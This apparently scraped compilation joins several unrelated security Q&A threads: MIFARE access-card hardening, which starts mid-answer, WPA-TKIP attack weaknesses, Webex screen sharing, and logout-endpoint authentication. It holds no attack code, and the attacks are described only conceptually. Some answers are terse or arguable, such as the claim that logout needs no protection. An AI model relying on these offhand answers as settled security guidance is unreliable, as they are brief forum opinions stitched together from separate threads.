First off, leverage the builtin sector keys. The sector keys, while six bytes of size, are surprisingly difficult to crack due to how the cards work. There's no way to "dump a hash" of a MIFARE key block, so you basically need to do the cracking over-the-air/on-card. As you're not limited to ASCII, an attacker is still limited to going through a worst-case of 281.4 trillion possible combinations of bits for a single key.
Second, leverage card state verification. There are a lot of ways to do this, but a common solution is to use the value block system to keep track of how many times the card was used. A sample process exists below.
A two-phased approach like this allows you to keep out casual users who are just trying to clone their cards to their phones without any experience. It also allows you to (somewhat) perform authentication on the readers themselves which is better than nothing. If a card is copied/compromised without the attacker knowing how the system works, a copied card can only be used once before the two cards lose sync with your server and risk one of them causing both to be deactivated.
Solutions like encrypting card data, as you mentioned, won't really do anything to stop an attacker beyond making it harder for them to read the data on the card. MIFARE blocks aren't even readable if the key isn't present, so encryption really becomes an unnecessary second step unless you're trying to protect a secret.

In this example system, you have three components: the reader, a backend authentication server, and a card. On the card, sectors 1 and 2 are used by your application's data:

Sector 1 contains a unique serial number assigned to the card. This serial number is protected by a global static key in Key B. The card is set permission mode 101 to only allow ever reads from Key B. Key A does not need to be set.
Sector 2 is a bit more complicated, as it contains two blocks. Key B should be randomly generated for each card and Key A can be ignored.

Block 0 contains a randomly-generated secret value assigned to the card on creation. Permissions are set on this block as 101 similar to the one used in Sector 1.
Block 1 leverages the Value Block feature of MIFARE cards to track the number of times the card has been used. In this case, the Value Block is initialized at value 2,147,483,647 (the maximum for a signed 32-bit number). This block has permissions set to 001 such that Key B can be used to decrement this counter.

Every time a card checks in, the following process happens:

The reader uses the static Key B for Sector 1 to grab the card's unique serial number.
The reader requests card metadata from the authorization server, which responds with:

The expected value for the card currently
Whether the card can be accepted at this reader (is this user authorized)
The (random) Key B for this card
The secret value in Sector 2 Block 0 for this card

The reader reads Sector 2 and checks the card's secret value and current counter.

If either value is wrong, the card's value block is decremented to below zero, bricking the card.
If both values are correct, the card's value block is decremented by one and the card is granted access.

The reader sends the server the card's new expected value. If the card was "bricked", it will be marked as disabled and a security alert is generated.

If additional security is required (for example, the readers can't be trusted), the readers can send the card's values back to the server for authorization. Note that this does add some (generally insignificant) delay, but it can be annoying depending on the application.
Also note that such an example system is highly dependent on everything staying online at all times. In the event that a server is unable to be reached, you may want the system to fail "safe" and grant access in certain cases. If this is to be done, readers should cache read events and then submit them once the server is back online. This would require some restructuring of the card verification system to ensure that all reads are "plausible", and would generally need to take place as a scheduled job or similar concept.
Any such system is (extremely) variable and the actual implementation details depend on how secure and usable you want such a system to be in each of the edge cases. Keep in mind that after a certain point, your return on investment into security starts to decrease and additional complication becomes complication for complication's sake.


What are the weaknesses of WPA with TKIP? I am researching about the weaknesses of WPA with TKIP. I have an idea that the AES-CCMP mode is better than TKIP, but what are the weakest points of TKIP? Also, I am wondering about the disadvantages of WPA TKIP. What are the disadvantages over WPA-AES?

Here's a relevant excerpt from a blogpost I did on here a few months ago:

WPA generally uses Temporal Key Integrity Protocol (TKIP). TKIP was designed by the IEEE 802.11i task group and the Wi-Fi Alliance as a solution to replace WEP without requiring the replacement of legacy hardware. This was necessary because the breaking of WEP had left WiFi networks without viable link-layer security, and a solution was required for already deployed hardware. TKIP is not an encryption algorithm, but it's used to make sure that every data packet is sent with a unique encryption key.

An excerpt from the aircrack-ng paper, Practical attacks against WEP and WPA:

  TKIP implements a more sophisticated key mixing function for mixing a
  session key with an initialization vector for each packet. This
  prevents all currently known related key attacks because every byte of
  the per packet key depends on every byte of the session key and the
  initialization vector. Additionally, a 64 bit Message Integrity Check
  (MIC) named MICHAEL is included in every packet to prevent attacks on
  the weak CRC32 integrity protection mechanism known from WEP. To
  prevent simple replay attacks, a sequence counter (TSC) is used which
  allows packets only to arrive in order at the receiver.

There are two attacks known against TKIP:

Beck-Tews attack
Ohigashi-Morii attack (which is an improvement on
the Beck-Tews attack)

Both of these attacks only could decrypt small portions of data, compromising confidentiality. What they can't give you is access to the network. To give you an idea of how much data can be recovered, a single ARP frame would take around 14-17 minutes to get the plain text. Getting useful information with this type of attack is very improbable (but not impossible) considering the rate of recovery.


Credential theft by browser conferencing software? While using the webex conference software, I noticed
that simply pressing a "share content" button allows me to share my full screen.
There was no security confirmation from my webbrowser (chrome):

I am very reluctant to installing extensions and use essentially a plain webbrowser.

As someone who has applications as online banking and password managers open all the times (although these often mask passwords, but still show a lot of confidential information) I am very alarmed about this.

I do not see how this feature is working or why the browser should be allowed to access screen content. Is there a way to disable this or at least pop up a confirmation? And is there a general way to secure some applications from being screen captured?

it will be much easier for you to switch to another desktop (all modern OS support multiple desktop).
and start a clean session there when you are on a conf call.
this way you will not accidentally switch to another app/window that can reveal confidential information.


Should a logout request be authenticated? I have implemented access tokens and refresh tokens, without an auth server (my API server also does authentication).

Access tokens: stored in the client (localstorage). Expire in 20 minutes.
Refresh tokens: stored in the client (localstorage), and in the server (database). Expire in 3 months.
The refresh "window" is a week, so tokens can be refreshed without re-login within that week.
After 3 months the refresh token expires, so the user must re-login.

When the user logs out, I delete the access and refresh tokens from localstorage. But I should also delete the refresh token on the server, so I must make a /logout request to the server.

Should that logout request be authenticated?

Let's say yes. The problem is that if the user is not logged in (i.e. the access token has expired), and the refresh window has passed (let's say, a week), then an automatic refresh can't be performed, so he would be forced to log in, so that he can log out. Weird!

The alternative is for that endpoint to expect an access and refresh token pair, BUT 1) to allow the access token to be expired, and 2) to ensure the access token is nonthelesss valid, and that the refresh token is both valid and current. And in that case, to delete the refresh token from the database.

What is the typical way to handle this? Are there pros/cons I've not considered?

There is  no need to protect logout resource.

If a session is present with the logout request; it gets invalidated. Otherwise it gets directly redirected to logout page.